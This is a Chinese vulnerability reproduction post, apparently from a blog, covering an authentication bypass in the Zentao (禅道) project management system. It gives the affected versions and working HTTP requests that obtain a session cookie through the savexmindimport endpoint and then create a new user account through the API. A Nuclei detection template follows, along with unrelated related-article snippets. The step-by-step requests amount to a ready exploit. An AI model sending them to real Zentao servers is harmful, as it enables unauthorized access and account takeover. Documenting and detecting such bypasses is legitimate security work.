本文所涉及的任何技术、信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。

1. 概述

1.1 基本信息

禅道是一款支持敏捷、瀑布、看板等多种项目模型的开源项目管理软件,可完整覆盖研发项目的需求、任务、缺陷、用例、质量、组织知识库等流程。禅道提供多个版本,包括免费的开源版、付费的企业版、旗舰版、IPD版和云禅道,以及DevOps平台版,满足不同行业和规模的项目管理需求。

1.2 问题描述

禅道项目管理系统存在身份认证绕过漏洞,未经身份认证攻击者可利用该漏洞调用任意API接口并更改任意用户的密码,随后可以以管理员的身份登录该系统,结合未知的认证后远程代码执行漏洞可以完全控制服务器。

1.3 影响范围

v16.x <= 禅道 < v18.12 (开源版)
v6.x <= 禅道 < v8.12 (企业版)
v3.x <= 禅道 < v4.12 (旗舰版)

2. 漏洞复现

2.1 获取cookie

GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=jtexhqkbflxckrrolpbc&branch=luqmyuqbafmjejbvjixf HTTP/1.1
Host: {{hostname}}

获得Cookie: zentaosid=002c78f075e326c5cb0f496e8c30066a

2.2、绕过测试

GET /zentao/api.php/v1/lists HTTP/1.1
Cookie: zentaosid=002c78f075e326c5cb0f496e8c30066a
Host: {{hostname}}

显示为无接口,并不是未授权即可。

2.3 添加用户接口测试

POST /zentao/api.php/v1/users HTTP/1.1
Cookie: zentaosid=XXXXXXX
Host: {{hostname}} {"account":"test","password":"admin@123",
"realname":"test",
"role":"",
"group":"2"
}

返回201Created即证明添加用户成功。

2.4 验证

使用该用户登录后台

NUCLEI检测POC

id: ChanDao_PermissionBypass

info:
name: ChanDao_PermissionBypass
author: ffff5
severity: medium
description: chandao_permissionbypass api.php
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: "" requests:
- raw:
- |+
@timeout: 30s
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xevscpierwzxcolrlykp&branch=ejlyosowumhxetlxbfet HTTP/1.1
Host: {{Hostname}} - |+
@timeout: 30s
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xevscpierwzxcolrlykp&branch=ejlyosowumhxetlxbfet HTTP/1.1
Host: {{Hostname}} matchers-condition: and
matchers:
- type: word
words:
- '"status":"success"'
- type: status
status:
- 200

禅道项目管理系统权限绕过漏洞(QVD-2024-15263)的更多相关文章

  1. 禅道项目管理系统整合Selenium IDE的思路

    前两天说用过Selenium IDE产生了一些想法,这里做一些整理. 传统的测试人员管理测试用例,基本都是用Excel.这没什么不好的,也没什么好的.如果通过管理系统来管理用例,相对来说,少了一些简便 ...

  2. 小玩意儿之Gitlab 代码提交日志同步到禅道项目管理系统

    以前都是使用禅道官方推荐的服务器本地扫描的方式,但其实不太方便,需要跟着项目的变化,不断的在配置文件维护项目相应仓库的配置. 然后现在Web Hooks越来越普遍的情况下,想尝试一种新的方式.看了禅道 ...

  3. Linux下部署开源版“禅道”项目管理系统《转载》

    Linux下部署开源版“禅道”项目管理系统 https://www.cnblogs.com/xxsl/p/6525378.html

  4. zentaopms - 禅道项目管理系统部署

    概述 禅道是开源免费的项目管理软件 使用步骤 管理员 添加组织 添加用户 用户权限管理(通过分组确定权限) 产品经理 添加产品 添加模块(隶属于产品) 添加需求(隶属于模块) 添加计划(计划形成“路线 ...

  5. Linux下部署开源版“禅道”项目管理系统

    1.开源版安装包下载 [root@iZbp ~]# wget http://dl.cnezsoft.com/zentao/9.0.1/ZenTaoPMS.9.0.1.zbox_64.tar.gz 2. ...

  6. linux下搭建禅道项目管理系统

    1.禅道下载:                 #官网:http://www.zentao.net/article-browse-1067.html [root@localhost ~]# wget ...

  7. Python 实现 Discuz论坛附件下载权限绕过漏洞

    背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...

  8. Android电话拨打权限绕过漏洞(CVE-2013-6272)分析

    原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...

  9. linux sudo root 权限绕过漏洞(CVE-2019-14287)

    0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大  需要以下几个前提条件 1.知道当前普通用户的密 ...

  10. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

    couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...

随机推荐

  1. 前端 Array.sort() 源码学习

    源码地址 V8源码Array 710行开始为sort()相关 Array.sort()方法是那种排序呢? 去看源码主要是源于这个问题 // In-place QuickSort algorithm. ...

  2. Linux内核中的static-key机制

    # Linux内核中的static-key机制 背景 在移植某个TP时,发现频繁操作屏幕会导致i2c总线死掉.在跟踪代码的时候,我发现了这个static-key. 因此,学习一下这块的知识. refe ...

  3. ARM Cortex-A系列处理器性能分类比较

    在如今这个电子产品泛滥的年代,仅仅靠品牌或是外观已经不足以辨别产品的优劣,其内置的处理器自然也就成为了分辨产品是否高端的标准之一.那么我们今天就不妨好好了解一下近几年来电子产品中较为主流的RAM处理器 ...

  4. 手把手带你使用JWT实现单点登录

    JWT(英文全名:JSON Web Token)是目前最流行的跨域身份验证解决方案之一,今天我们一起来揭开它神秘的面纱! 一.故事起源 说起 JWT,我们先来谈一谈基于传统session认证的方案以及 ...

  5. python subprocess读取终端输出内容

    参考链接:https://www.cnblogs.com/songzhenhua/p/9312718.html https://www.cnblogs.com/darkchii/p/9013673.h ...

  6. ComfyUI进阶篇:ComfyUI核心节点(三)

    ComfyUI核心节点(三) 前言: 学习ComfyUI是一场持久战.当你掌握了ComfyUI的安装和运行之后,会发现大量五花八门的节点.面对各种各样的工作流和复杂的节点种类,可能会让人感到不知所措. ...

  7. MES 与 PLC 的几种交互方式

    在 MES 开发领域,想要从 PLC 获取数据就必须要和 PLC 有信号交互.高效准确的获取 PLC 数据一直是优秀 MES 系统开发的目标之一.初涉相关系统开发的工程师往往不能很好的理解 PLC 和 ...

  8. SQL Server 新增函数大全(各版本)

    SQL Server 2017 CONCAT_WS ( separator, argument1, argument2 [, argumentN]... ) --采用可变数量的字符串自变量,并将它们串 ...

  9. C#:利用“事务+乐观锁+version”解决并发下的数据一致性问题

    本文重点介绍通过事务控制,利用数据库的乐观锁和时间戳,来解决并发(非高并发)环境下的脏读.幻读.不可重复读等问题,同时也能解决超卖等现象,对开发企业管理系统的朋友提供一个思路,为更突出主题思路,文涉及 ...

  10. 软件设计 软件设计模式之SOLID原则

    软件设计模式之SOLID原则 By:授客 QQ:1033553122 #单一职责原则(SRP) 定义:任何一个软件模块都只对某一类行为者负责 说明:这里"软件模块",在大部分情况下 ...